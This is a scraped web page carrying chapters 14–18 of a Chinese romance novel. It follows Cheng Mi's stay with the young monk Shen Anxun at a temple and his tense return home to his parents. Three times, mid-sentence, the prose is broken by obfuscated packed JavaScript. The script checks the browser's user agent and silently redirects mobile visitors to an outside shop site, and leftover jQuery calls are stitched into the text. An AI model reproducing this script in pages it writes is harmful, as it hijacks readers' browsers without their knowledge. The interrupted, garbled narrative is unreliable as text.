$(''#content'').append('' 领完,孩子们统一背到背上,去水池前洗净双手,准备领他们的早餐。 学校提供的是每人一盒热牛奶,配着枣花馒头,领到的孩子们跑去教室屋檐下方,坐上长板凳,规规矩矩地小口吃起来。 校方领导在跟沈岸寻交谈,程觅忙活完,一身热汗,站在一旁无所事事,余光瞥见校门左侧的高台上孤零零地坐着一个男孩,远离人群,独自望着这边。犹豫片刻,程觅迈开步子走过去,悄悄靠近他,见男孩投来友善的目光,他才微微一笑。 程觅问:“你怎么没跟大家待在一块儿?” 男孩挠挠自己的耳朵,回道:“我的腿坏了,我的轮椅也坏了,所以我被暂时安排在这里。” 程觅愣了一下,下移的目光盯住男孩细瘦的腿,这样看的确看不出来,这么可爱的男孩子竟然身患残疾。 “领书包了吗?”程觅的心里很不是滋味儿,抬手捏着后颈,心疼地问,“饿不饿?没吃早饭呢吧?” “你看。”男孩指了指不远处的沈岸寻,说,“小师父手上还拿着一个书包,一个馒头,肯定是给我的。” 程觅闻言定睛一瞧,还真是。他笑着问:“你怎么这么确定,那些就一定是给你的?” 收回手撑着台面,男孩抿着嘴唇,把脑袋转向程觅,笑着说:“我昨天梦到世尊了。” 程觅虽然不知道世尊是什么,却道:“真的啊,那你看清世尊长什么样子了吗?” 男孩点头:“他长得很像空觉小师父。” 程觅挑高眉梢:“空觉小师父在你的梦里变成世尊啦?” “嗯!”男孩扬着脸,眉眼都浸在阳光中,笑得一脸灿烂,“不管是在现实中还是在梦境里,他都是。” 程觅问:“你知道世尊是什么人吗?” “知道啊,虚云大师给我们讲过课。”男孩郑重地回道,“他说佛祖普度众生,心系天下,世尊降临人间挽救民生疾苦,空觉小师父不就是从天而降来帮助我的吗?” 语声未落,沈岸寻已与校方交流完毕,抬眸巡视一圈四周,然后迈步朝着男孩走来。 程觅凝视着沈岸寻从房屋落下的阴影里走到明亮的阳光中,身形轮廓被镀上了一层金边。罗汉卦朴素却神圣,尽管沈岸寻的神态平静,但正是因为这样的平静,才会让程觅突然不敢再盯着他看。 内心忽而生出一股暖意,程觅不知道世人在叩拜圣佛时,是不是也有这样的心情。 “在我特别饿的时候,小师父给我送来了枣花馒头,在我想要新文具的时候,他又给我送来了书包。”男孩朝沈岸寻挥了挥手,开心道:“所以在我心里,他就是我的世尊。” 程觅听着男孩的话,伸手摸了摸男孩的头,直到沈岸寻走近身前,他才收回手,笑嘻嘻地看向沈岸寻,话却是对男孩说的:“没错,他就是。” 15.第15章 正文015 男孩双手合十,微弓腰背对沈岸寻说:“阿弥陀佛。” 沈岸寻恭敬地行礼,而后弯下腰将新书包背到男孩背上,拿起他的手,把独立包装的枣花馒头交给他。 沈岸寻问:“想不想跟大家坐在一起?” 迫不及待地咬了一口馒头,男孩望向对面屋檐下的同伴们:“想,可是我的轮椅坏了,我要怎么过去?” 教学楼前的长板凳与校门口的高台之间隔着一整座校园,如同河水两岸,彼岸热闹非凡,此岸冷冷清清。沈岸寻在高台前蹲下来,仰头看着男孩,说:“我带你过去。” 男孩高兴极了,又听沈岸寻问:“介意我抱你吗?用背的可能不太方便,你会感觉到不舒服,我也无法顾及背后。” 男孩急切地抓住沈岸寻的衣角:“不介意!” 伸手将男孩横抱起来,沈岸寻感觉这孩子的体重太轻了,吃得少缺乏营养,整个人过于消瘦。走回教学楼前,板凳上的孩子们默默地为男孩让开空位,沈岸寻将他安置好,动作极轻地摆正他的双腿。 有孩子问:“豆豆,你跑哪里去了?” 男孩玩笑着回答:“我去取经啦,经历了九九八十一难,虽然腿受伤了,但我终于见到世尊啦。” 另一个孩子笑他:“那你取回来的经文呢?” 豆豆嘟着嘴,求助地看向沈岸寻。沈岸寻指了指他的新书包,豆豆会意地拉开拉链,里面放着一本可以练字的《金刚经》书法字帖。 豆豆激动地举着字帖:“在这儿呢!你们看!” 孩子们好奇地将豆豆围住,原本孤身一人的男孩,此刻却成了所有人的焦点。 目睹完整个过程的程觅悄悄看了一眼沈岸寻,不知是不是他的错觉,沈岸寻的表情好像变得柔和了一点。 他好像终于离人间近了一些。 钻进面包车准备返程,程觅透过车窗望向孩子们,屋檐下一排攒动的小脑袋正挥着手,叽喳嚷着话,他从嘈杂凌乱的话音中辨析出他们嚷的是,“谢谢空觉小师父”。 程觅抬眼去看沈岸寻,直到面包车驶离校园,沈岸寻才低下头收拾孩子们拆下来的书包包装袋,展开压平,叠成两捆带回檀赞寺,能有不少用处。 回程途中,程觅态度坚决,一定要让沈岸寻坐车座,自己坐折叠凳。沈岸寻没反对,听从程觅的安排,入座便如同入了定,挺直腰背闭上眼睛,呼吸与空气相融,身体随车身的颠簸轻微摇晃。 程觅窝着身子缩在折叠凳上,果然,他郁闷地在心里抱怨:靠,这小破凳真的很硌屁/股! 好巧不巧天公不作美,下起蒙蒙细雨,看天色估计会有大到暴雨,司机为尽早驶出山路避免泥石流,稍稍加快了车速。面包车在山道间剧烈颠簸,程觅的脸色愈发铁青,时不时把两只手垫在屁/股下面。 昨晚睡得太少,车程又长,实在是无聊,眼皮直打架,屁/股上的痛感在入睡之后消失了,程觅这一觉梦见的全是沈岸寻。具体梦了些什么,他在苏醒后忘得一干二净,等四肢慢慢恢复知觉,意识清明时,他才发现……眼前的画面怎么是歪的? 倏地坐正身体,整个人瞬间清醒,程觅顶着半边塌陷的头发目视前方,脑中轰隆作响。他忐忑地转过脸,沈岸寻依旧纹丝不动静心念佛,本想松一口气,下一秒,程觅蓦地睁大眼睛——沈岸寻的裤子上怎么湿了一块儿?! 枕着人家的大腿睡着了也就算了,竟然还流了口水,这一次,程觅彻底没脸了,大少爷从小十分在乎自己的形象,怎么偏偏到了沈岸寻这里就形象全无了呢? “啪”的一声,沈岸寻微不可察地皱了下眉,睁眼看着程觅按在自己腿上的一只手,眼神里满是不解和疑惑。他在等程觅开口解释,可对方却仰头望着车顶,假装若无其事。 沈岸寻说:“把手拿开。” 程觅道:“我的手会影响你念佛吗?” 沈岸寻说:“不会。” 程觅点头道:“那你念吧,我再按一会儿。” 沈岸寻有点无语,却没打算继续追问,任由程觅这么做了。后半程路途程觅不敢再睡觉,时不时抬手检查一下沈岸寻裤子上湿的地方有没有干,留没留印迹,他在心中默默祈祷千万不要被沈岸寻发现。 终于回到檀赞寺,面包车停在长阶下方,司机同沈岸寻行礼,礼毕后双手接过来一张镀金的经文卡,动作虔诚地装进钱包,驱车离开。 程觅在下车的那一秒就感觉不太妙,确切来讲是从折叠凳上站起来时屁/股就已经疼得不行了。但他忍着没去揉,表情甚至称得上轻松,因为同样在折叠凳上坐了三个小时的沈岸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351057|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻行动丝毫没受影响,踩着台阶的步伐有力而又沉稳。 程觅望着他,跟上他,努力与沈岸寻保持相同的步速,竟然也能一口气爬完一千多级的长阶,尽管把自己累得气喘吁吁。 经过檀赞寺门前的平坦路段,紧接着走上寺院侧面的土坡,迎着竹风,程觅实在忍不住,要强地问:“小师父,你屁/股不疼吗?” 沈岸寻看了程觅一眼,没吱声,继续走路。 程觅心下琢磨这一眼是何寓意,几秒钟后醍醐灌顶地一拍巴掌:“你屁/股也疼对不对!” 沈岸寻拎着两捆塑料包装纸,目视前方盯着靠近山顶的木屋,在听见程觅的问话后,微微叹了口气。 沈岸寻:“幼稚。” 程觅:“你快回答我是不是很疼,不然我会觉得自己弱爆了。” 沈岸寻依旧不理,程觅执着道:“出家人不打诳语!” 沈岸寻无奈回答:“是。” 皮了一下很开心,回到木屋,程觅幸灾乐祸地往床上一坐,立马弹射起身,拧着眉头狠狠揉两把屁/股。十分自觉地找来《金刚经》,翻到第二页,指尖指着经文,程觅一个字一个字发音清晰地念出声来。 “时长老须菩提,在大众中,即从座起。”边读边从书本上方望着正在做午饭的沈岸寻,程觅卡了下壳,继续念,“偏袒右肩,右膝着地,合掌恭敬。” 沈岸寻先烧水、后下面,计划等面条熟透的间隙,去寺院后厨管师兄们要点青菜和芝麻。程觅卷着书页,饿着肚子问:“小师父,咱们中午吃什么啊?” 沈岸寻说:“不要分心,一口气念完。” 程觅乖顺地“哦”了声,认真在抠《金刚经》第二品的每一个字,沈岸寻去了很快又回,手上多了一袋绿蔬和一个瓷碗。 第二页经文磕磕绊绊地读完,程觅合好经文书放到枕头下面,走到沈岸寻身旁,看他朝面碗里撒芝麻。 坐着吃屁/股疼,碗太烫又端不起来,程觅站在灶台前安静等待,沈岸寻已经解决完午饭,准备换身干净的衣裳去念佛堂诵经。 筷子杵着面条,程觅若有所思地注视着沈岸寻的背影,满心纠结。等沈岸寻脱掉罗汉褂和外裤,程觅把心一横,脸上挂着视死如归的表情,不再犹豫,艰难地开了口:“小师父,我能给你洗裤子吗?” 16.第16章 正文016 沈岸寻拎着自己的裤子,又一次无语地看着程觅。程觅被他的目光弄得十分心虚,可少爷爱面子,讲不出真实原因,见对方没应声,硬着头皮再次询问:“小师父,我能给你洗裤子吗?” 沈岸寻鲜少与外界的人和事产生因果关系,他不会好奇程觅想帮他洗裤子的原因,这是他多年修佛的结果,不多问,不多听。盯着程觅执着的眼神,沈岸寻几不可闻地叹了口气,然后将裤子叠好放在床上。 程觅松了口气,往床上一趴抱住枕头,闻了闻清淡的檀香味,太困了,意识迅速断了线。沈岸寻出门时的动静程觅听见了,但他醒不过来,再睁眼时听到的是檀赞寺沉闷的钟声,夕阳斜进木屋,程觅的眉眼落进一片橙红色的暖光里,弯而翘的睫毛浓密细长。 “嘶……”呲牙咧嘴皱了下眉,程觅急忙下床,坐起身时屁/股还是疼。 顶着乱糟糟的头发在屋里走来走去,右手往背上抓两下,程觅打开门,走去水池前拘一捧水潦草地抹了把脸。他估摸着沈岸寻应该快回来了,于是坐在空地上玩儿了会儿手机,十分钟过去,寺院后门的方向仍然不见沈岸寻的踪迹。 突然变得无所事事,程觅想去找沈岸寻,起身走向后门,没走两步,他又觉得自己是个外人,走后门不太礼貌,随即调转脚步跑下土坡,绕去檀赞寺的正门。 刚踏到平地上,程觅意外地挑起半边眉毛,他瞧见了一个眼熟的人。 暮色沉沉,沈思妍坐在青檀树下的长椅上,翘着二郎腿,长发高盘。浓抹的妆容未卸,引得来往游客频频朝她侧目,她穿得太时尚,与佛门净地格格不入。 程觅插着兜大步迈上前,咧嘴一笑:“嗨……” 他本想熟络地打个招呼,话音一顿,程觅这才反应过来自己根本不知道对方的名字。 沈思妍抬起眼眸,唇角上弯,俨然与之前醉酒时的状态判若两人,此刻笑得温婉大方:“嗨,小帅哥。” 被人夸奖了,程觅笑得更加灿烂,脑袋朝寺门一歪,问:“来找你弟弟?这次也不进去吗?” 沈思妍摇头:“不了,我坐两分钟就走,等一下还有工作。” 程觅问:“太阳都快落山了,什么单位这么没人性,大晚上的还加班?” 沈思妍觉得程觅是个很可爱的男孩儿,忽然特别想逗逗他:“给你个机会,猜猜我是做什么工作的?” 程觅立马回道:“明星。” 沈思妍一秒破功,程觅笑着耸了耸肩,猜得对不对一点不重要,重要的是要会哄女孩子开心。 好久没笑过了,笑容在沈思妍脸上停留了几秒,她低头渐渐收敛神色,问:“你还住在岸寻那里吗?” “嗯。”程觅点了点头,“不过这两天就该走了。” 沈思妍继续问:“你能告诉我,沈岸寻现在是个怎样的人吗?” “他不是你弟弟吗?”程觅反问,“你还不了解他啊。” “我们分开了十二年,岸寻是在檀赞寺里长大的。”沈思妍回答,“如今只能算是陌生人。” 程觅抬手摸着下巴,组织了一会儿语言,面对着沈思妍,诚实地将自己对沈岸寻的印象说了出来:“空觉小师父是那种乍一看会让人敬而远之的人,可能是因为他是佛门弟子的缘故,就像你之前说的,他和我们是两个世界的人。” “差不多可以用‘可远观而不可亵玩焉’来形容吧。” “但是吧……”程觅话锋一转,“有时候他对我真的挺好的,特别照顾我,偶尔会让我产生‘他就像朋友一样’的错觉。” 目光从程觅脸上移开,沈思妍望着朝他们缓步而来的沈岸寻,眼神变得无比温柔。 “不对,用‘好’形容不够准确,应该说是包容。”程觅对沈岸寻的到来丝毫没有察觉,“无论我做什么,他都不嫌弃、不批评、不拒绝,比如昨晚我们俩一起做枣花馒头,其实我真的是在给他添乱,非要插一手,但小师父还是纵容我想干什么就干什么。” 言及至此,一个巨大的疑问在心中油然而生,程觅脱口而出:“哦对了,我一直很想知道小师父今年多大啊,他看起来可比我成熟太多了。” 沈思妍重新看向程觅,笑着告诉他:“岸寻今年刚满十八岁。” “我靠,真的假的。”条件反射地抿了下嘴,幸好沈岸寻不在,骂脏话他也听不见,程觅惊讶道,“他那气场那么吓人,看上去那么老成,才十八岁?我跟别人在一块儿的时候,别人都觉得我成熟,可是我跟他相处的时候,总感觉我能小他好几岁。” 程觅迫切地追问:“我也刚满十八岁,他是几月份的生日啊?” 沈思妍说:“三月。” “我靠!我也是三月的!”程觅激动极了,“几号几号?” 沈思妍回答:“十六号。” “哎!”遗憾地撇了撇嘴,程觅说,“差一点就比他大了,我是十八号的生日。” 沈思妍笑得像朵花,饶有兴致地看着站在程觅身后的沈岸寻。 沈思妍的目光没在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355392|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己身上,程觅疑惑地向后转身,还没完全转过去,就听耳边响起一抹低沉的嗓音,背脊倏地一僵:“晚上读两页《金刚经》。” “卧槽!”程觅立刻捂住心口,“你吓死我了!” 沈岸寻面不改色:“三页。” 程觅:“……” 沈思妍从包里取出手机看一眼时间,她该离开了,她本来没奢望能够见到沈岸寻,眼下却是不虚此行。 随着沈思妍起身的动作,程觅开口道:“咱们都见过好几回了,认识一下吧,我叫程觅,旅程的程,寻觅的觅。” 沈思妍背上挎包,回道:“我姓沈,名姐。” 程觅惊讶:“嗯?你就叫沈姐吗?” “对。”沈思妍忍俊不禁,轻拍两下程觅的肩膀,“你也可以直接喊我‘姐’。” 视线滑过沈岸寻的脸,沈思妍冲他笑了笑,心满意足地踏下台阶。程觅总感觉哪里不对劲,猛地一拍巴掌反应过来,冲着沈思妍离去的背影嚷道:“沈岸寻是你弟弟我又不是,凭什么我也得喊你‘姐’啊!” 沈岸寻提醒:“佛门净地禁止喧哗。” 立马变成蚊子声,程觅嘟囔:“这不是占我便宜么。” 两人一起返回木屋,沈岸寻打开从寺院后厨带回来的一捆面片,准备给程觅做晚饭。程觅自觉地翻开《金刚经》,认认真真念了三页纸的经文,拗口地差点让他不会说话了。 尽管读得磕磕绊绊,总算是读完了,合上经文书,程觅见沈岸寻刚生好火,正在热铁锅,便将放在床脚叠得整整齐齐的裤子拿起来,打算先去给沈岸寻洗裤子。 经过沈岸寻身后,正准备去拿盆和肥皂,程觅听见沈岸寻叫他:“程觅。” 程觅应声道:“我读完三页《金刚经》了,小师父你忙你的,我去去就回。” 沈岸寻说:“你没有给我添乱。” 前不着村后不着店的一句话,听得程觅一脸诧异:“什么?” 沈岸寻不再多言,继续给程觅做饭,程觅停在原地琢磨了半天,突然喜笑颜开。他想再说点什么,张嘴却觉得词穷,任由自己开心了一阵,愉快地拉开屋门。 脚底踩着石子路,程觅吹了一记口哨,傍晚的山林间清风徐徐。来到水池前“嘿嘿”笑了两声,拧开水龙头的动作一停,程觅无奈地“啧”了一声,转身跑向木屋。 “程觅啊程觅,至于高兴成这样么。”脚下生风,程觅对自己很是无语,可脸上的笑意却不减丝毫,“盆和肥皂都没拿,你洗个毛啊……” 17.第17章 正文017 程觅撸高袖筒,手掌压进水中,胡乱搅动着盆里的衣服。他盯着起伏的水面,偶尔揉搓几下布料,再打肥皂、再搓,机械地重复动作,脑中在想其他的事情。 离家有点久了,该回家了。 程觅对那个家没有一丝感情,回家是为了冉菁遥。程觅不知道自己的性子在面对程昌磊的时候会做出什么样的反应,他是个太纯粹的人,爱就是爱,恨就是恨,眼里容不得一点沙子。 唯一能够避免冲突的办法就是减少见面和接触,程觅请求沈岸寻收留他,并非是为了逃避,而是为了不让动不动就暴躁的自己给冉菁遥带来压力。 可还有件事,不得不催促他早点回家——他该准备雅思考试了。 前一次的雅思成绩是6.5分,达到了美国金融院校的录取标准,但去美国念学是程昌磊为他定下的路,程觅现在要推翻之前所有的努力,不再迎合程昌磊的心意,决定找回自己的初心。 程觅感兴趣的是导演或者编导专业,侧重影视传媒类,他想去英国念书,他的目标大学雅思成绩需要7分以上。 拉回注意力,程觅使劲往裤子上抹肥皂,把沈岸寻的裤子洗得干干净净——这是他活了十八年第一次给别人洗衣服。 洗了半个小时,程觅将盆中的水倒掉,拧干裤子甩甩手,拎着盆走回木屋。 面片汤做好了,灶膛中的火早已熄灭,沈岸寻坐在蒲团上静心修佛。程觅把他的裤子展平晾好,扯扯裤脚尽量不要留下褶皱,然后捧起汤碗囫囵吞咽,喝得后背出了汗。 左肩搭着自己的毛巾,程觅去公厕潦草地洗了个澡,换了一身新衣服,疲惫地爬上床。抱住枕头埋进去脸,消停片刻,程觅朝右侧转动脑袋,垂眸看向沈岸寻。 沈岸寻的身形隐于暗处,只能勉强瞧清一个模糊的轮廓。但足够了,对于程觅来讲,尽管他不清楚是什么原因,只要沈岸寻在,他的内心就能无比平静。 静默半晌,程觅抿了抿嘴唇,开口道:“小师父,明天我就该走了。” 意料之中,沈岸寻毫无反应。莫名其妙的,程觅竟然有些失落,他似乎在渴望沈岸寻能说点什么。 “也不知道下一次来是什么时候,你会欢迎我来吗?”程觅喃喃自语,“等以后出了国,就更没机会见面了。” 停顿几秒,程觅忽然好奇地问:“小师父,你听说过英国吗?你一直在寺里吃斋念佛,那对外面的世界是不是了解得很少?” “你知道英语吗?会念ABCD英文字母表吗?” 看着沈岸寻打坐的身影,程觅语声感慨:“我向往的大学离咱们这儿很远,你向往的世界离我也很远,我们本来是绝对不可能产生交集的两个人,但是你看,命运多有意思,我现在就在你面前,你就在我面前,有没有觉得特别神奇?” 支起胳膊撑住脑袋,程觅注视着沈岸寻。他们之间只隔了三五米的距离,好像伸过去手就能碰到,可程觅却感觉有一道鸿沟始终横亘在两人中间,即使拼了命的努力也未必能够迈过去。 但其实真正的问题并不是“怎样才能迈过去”,程觅根本没意识到,自己究竟为什么想要迈过这条鸿沟。 这条鸿沟是两人的出身,是他们无法选择的身世,命运安排他们见面,却没能让他们长久地成为朋友。 “你之前答应过我,不会忘记我的。”程觅鼓了下腮帮子,“说话算话啊。” “就算以后我们可能很难再见到了,你也要记得我,没准我哪天回来搞个突袭检查,要是发现你把我忘了,我就……” 刹住话音,程觅烦躁地揉了把头发,他没闹明白自己为什么要说这些,可他就是想让沈岸寻知道:“我就再做个自我介绍,帮你回忆回忆你曾经帮助过一个人,他叫程觅。” 趴回枕头上,程觅依旧面朝沈岸寻,长长地叹了一口气,小声问:“小师父,我们……” 没用的废话说了一大堆,程觅到底还是没敢把真心问出口。 他胆怯了,他怕听不到沈岸寻的回答。他想问的是,“我们是朋友了吧”。 黑暗浓重,困意席卷眉眼,程觅碎碎念完打了个哈欠,乏力地趴平身子。没多久,静谧的氛围中响起极细微的呼噜声,沈岸寻慢慢睁开眼睛,转移视线,平静地望着熟睡的程觅。 第二天上午,程觅睡到自然醒,摸出手机摁亮屏幕,九点四十三分。沈岸寻去庙里做早课了,程觅迟缓地爬起来,瞪着墙壁正在醒神。 意识清明后,程觅轻车熟路地刷牙洗漱,吃沈岸寻给他留的早饭,收拾好床铺以及自己的物品。新买的衣服、毛巾还有牙刷牙杯都不带走了,连充电器也一并留下,交给沈岸寻处理,临行前,程觅环顾一圈这间木屋,不舍的情绪不受控地涌上心头。 关上屋门,双手插兜迈下土坡,经过檀赞寺大门前,程觅望向视野正前方的三佛殿,停留片刻,而后继续往山下走。 一步一级台阶,被竹林搅碎的光斑晃动在身上,程觅耷拉着脸,对“回家”这件事越来越排斥。长阶才刚下到一半,排斥感在内心转化成苦闷,程觅放慢脚步,甚至停了下来,回头朝檀赞寺的方向望了一眼。 时间分秒流逝,视线变得开阔,远方的路面上疾驰着车辆,游客们的交谈声聒噪刺耳。程觅踩着下行的最后一级台阶,公路的护栏外是幽深的山谷,山风徐徐吹来,轻轻地将他推向来路。 程觅迈不动脚了,他压根就不想离开。 几乎没有犹豫,程觅在坐公交和打车之间选择了坐公交,有意拖长回家的时长。车上太吵,他掏出耳机打开手机调出一首常听的轻音乐,靠着椅背无心欣赏着车窗外的风景。 回到市区,下了公交,收起耳机线,路面上的车辆鸣笛搅得程觅异常心烦。进入别墅区,站在家门口,程觅做好了心理准备,输入指纹后拉开房门。 迎上来的人是方姨,程觅抬眼扫了一遍客厅,程昌磊和许茜一家人不在。 方姨知道他的心思:“老爷他们出去逛公园了,在外面吃午饭,夫人在楼上念佛呢。” “嗯。”程觅点了点头。 “我的宝贝少爷,才几天没见,怎么感觉你瘦了一圈啊?”拉起程觅的胳膊,方姨将程觅从头到脚过了遍眼,“这是上哪儿受罪了?” 程觅笑着回道:“吃斋念佛去了。” 方姨笑他:“少来,你才刚满十八岁,男孩子青春期玩儿性大得很,怎么可能静得下心来念佛,况且你念佛干吗。” “真不骗你,方姨。”程觅诚实地说,“我真没少念《金刚经》。” “得了吧,越说越离谱,还扯上经文了。”捧起程觅的脸左看右看,方姨放心道,“还好还好,脸上的印子都消掉了,以后可不能再跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358900|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程一珂打架了。” 程觅耸肩:“这可不好说。” 方姨叹了口气:“别再让夫人担心了。” 两人一齐往二楼走,上楼梯的时候程觅问:“我妈这几天怎么样?” 方姨愁道:“吃喝都在屋子里,哪儿也不去,偶尔念念佛,偶尔看看书,再这样下去该闷坏了。” “看来我在不在都一样。”程觅说,“她还是想就这么跟程昌磊一天天耗下去,把余生耗尽才肯罢休。” “少爷,恕我直言。”方姨拍了拍程觅的手,“你所说的话,是你用你的想法对夫人的人生做出的评价。或许你永远不会了解,这世上有很多女人,一辈子都为情所困,能够守住婚姻就是她们人生的全部意义了。” “多理解一下夫人的不容易吧。”方姨温声道,“要她做出改变得慢慢来,不能急于一时,我相信总有一天,夫人是可以真正懂得放下的。” 站在冉菁遥的房间门口,程觅握住门把手,方姨叫住他,回自己房间取来两样东西:“这是你上次打架掉在饭厅的两件物品,我看连包装都没拆,应该是新的,就没扔。” 一张镀金的佛卡,一枚小巧的念佛计数器,程觅接过来谢过方姨,轻轻推开冉菁遥的屋门。最先入眼的是窗台上的那盆紫罗兰,在恒温的房间里开得正盛,曾经程昌磊为冉菁遥种了满院的紫罗兰,可如今,紫罗兰只能盛开在这一隅窄地。 程觅:“妈,我回来了。” 冉菁遥跪在蒲团上面朝倚墙而立的佛龛,没有应声。许久过后,手上的念珠停止转动,冉菁遥转头看向程觅,程觅这才上前一步扶她站起来。 将佛卡放进佛龛中,程觅双手合十朝佛祖拜了拜。母子俩站在佛像前又是一阵沉默,随后,程觅开口说:“想要维系你和程昌磊的婚姻只有一个办法,那就是不能再把你手上的股份转让给他。” 冉菁遥听闻,脸上露出不可思议的神色:“你不是想让我跟他离婚吗?” 程觅答非所问,继续道:“如果你把股份转让给程昌磊,他就稳坐了信昌集团董事长的位子,那他的计划就得逞了,他可以随时把你踢开,娶许茜过门。” 冉菁遥低头苦笑:“从没想过,我跟他的感情竟然要靠公司的股份来维持。” 事到如今,程觅也累了,不想再去强迫冉菁遥放弃婚姻,也不想再面对可笑的家庭战争,他只想安安静静地把高三念完,雅思考到7分,然后顺利去英国。 没再让话题继续,程觅面对着佛像,他从来没有在意过冉菁遥为什么选择当一个佛教徒,此刻他却很想知道答案。 “妈,一直没问过你,为什么要信佛?” 冉菁遥垂眸盯着手上的念珠,回道:“为了寻求心安。” 一个人从出生到老去,要经历太多磨难,悲欢离合不可避免,生老病死不可违逆,事与愿违是常态,身不由己更是。 想要坚强地面对生活中的无常,就必须要有强大的心态,将心里的脆弱安放一处,寻求一种慰藉的途经——信佛是其中一种,以此来获得心安,让深陷困境中的自己不会觉得太煎熬。 身处左右为难的境地,无法改变母亲的命运,只能任由曾经最信任的亲人无休止地伤害,被这种痛苦裹挟的程觅,也曾确确实实体会过怎样才能获取心安,然而眼下能够让他寻求到心安的,只有沈岸寻一人。 18.第18章 正文018 程觅陪冉菁遥吃了午饭,等冉菁遥午睡了,程觅才回到自己房间,打开电脑,听了一节simon老师的雅思复习课。 做了一套模拟题,预估分数还是在6.5上下,程觅深知自己得花时间努力了,不然高中毕业之前肯定拿不到自己期望的分数。 下楼拿饮料的时候,程昌磊带着许茜一家回来了,程觅视若无睹,单手开了罐可乐,一饮而尽。程一珂举着手机玩游戏,一副吊儿郎当的模样在程觅面前来回晃悠,没等程觅脾气发作,程昌磊先一巴掌给他拍回了屋里。 “成天就知道玩儿。”程昌磊指着程一珂怒目道,“跟你哥学学,人家知道学习才是正道儿。” “谁是他哥?”程觅被逗笑了,“我有这么废物的弟弟吗?” 程一珂收起手机:“程觅,你他妈……” 程昌磊:“回屋!” 见许茜也不帮自己说话,程一珂翻着白眼关上了卧室的屋门。 偌大的餐厅只剩程觅和程昌磊,父子俩谁也没搭理谁,程觅喝完可乐投了个抛物线,精准地扔进五米远的垃圾桶里,然后经过程昌磊身边,朝向二楼的楼梯。 “程觅。”程昌磊坐到餐桌主位上,钟叔正在给他沏茶,“过来,我跟你聊两句。” 脚步没停,程觅吹了声口哨,双手插兜踩上台阶。 “程觅。”程昌磊又一次叫他。 见程觅还在往楼上走,钟叔怕程昌磊再动怒,忍不住开口:“少爷,老爷叫你呢,你过来这边坐坐,我给你也沏杯茶。” 方姨和钟叔是看着程觅长大的,对他的照顾无微不至。在这个家里,除了冉菁遥,程觅最听这两人的话。 拉开程昌磊对面的座椅,父子俩隔着长餐桌面对着面,钟叔为他们晾好茶,自觉退出餐厅。 热汽冒出茶杯,程觅垂眸盯着餐布上的花纹,程昌磊品尝了一口昂贵的金骏眉,放下杯子时开了口:“下个月送你去美国。” 程觅挑眉:“哈?” “美国那边的学校我已经联系好了,给你选了一个不错的金融院校,你这几天收拾一下行李,不用带太多东西,我在学校旁边给你包了一栋别墅,当宿舍,里面什么都有,生活用品都齐全。” 程觅笑了:“你为什么这么有自信我会听你的啊?” 程昌磊说:“如果你乖乖听话,好好念完大学,读完研究生,我会考虑把信昌集团交给你管理。” “老子不稀罕。”程觅道,“再说了,本来就应该是我的。” 程昌磊云淡风轻:“按我给你安排的路走,我保证我不会跟你妈妈离婚,许茜永远不会是威胁。” 收起笑容,程觅的脸色变了,但他没有动怒,只是隐忍地咬紧牙关。对话空白几秒,程觅闭上眼摇了摇头,然后端起钟叔泡的茶,轻抿一口:“程昌磊,我见过不要脸的,没见过你这么不要脸的。” 母子二人都成了程昌磊的棋子,也都是筹码。 程昌磊说:“程觅,我的所作所为你现在恐怕很难理解,但你终有一天会理解的。” “理解?我理解你?你配么?”程觅道,“你靠着冉家走到今天,非但不感恩,还把我姥爷的资产据为己有,背叛我妈,在外面搞女人,生野种,我理解你?我理解个屁。” “男人的成功是需要用些手段的,无可厚非。”程昌磊幅度不大地耸了下肩,丝毫不在意程觅言语上的冲撞,“至于感情,没有哪个男人一辈子只爱一个女人,能够给她合法的婚姻就已经很不错了。” 听到这句话,程觅本能地想作呕,一股钻心的恶心感正从胃里要命地往上冒。但他没想到,程昌磊还能说出令他更震惊的话来。 “等你以后长大了,你就会理解我了,毕竟都是男人,还是父子,你也是一样的。” 克制住想要掀翻桌子的冲动,压制住想要撕碎程昌磊的念头,程昌磊的一席话,让程觅恨透了自己竟然是这种人的儿子。 程觅知道此刻需要做点什么来转移注意力,转移自己内心的怒火,于是他取出兜里的记佛器,把包装撕了,对着上面的按键发狠地来回按了好几遍。 茶凉了,十分钟过去,程觅艰难地控制住自己的脾气,对程昌磊说:“我出门一趟。” 程昌磊问:“干什么去?” 程觅耐着性子回答:“找逯卓。” “逯卓那孩子玩儿性很大,以后没什么成就可言。”程昌磊道,“别跟他走得太近。” 走去玄关换好鞋,程觅把记佛器扔在鞋柜上,打开房门,迎着门外灿烂的阳光深吸口气,转过身冲程昌磊比了个中指,笑着说:“去死吧你。” “嘭 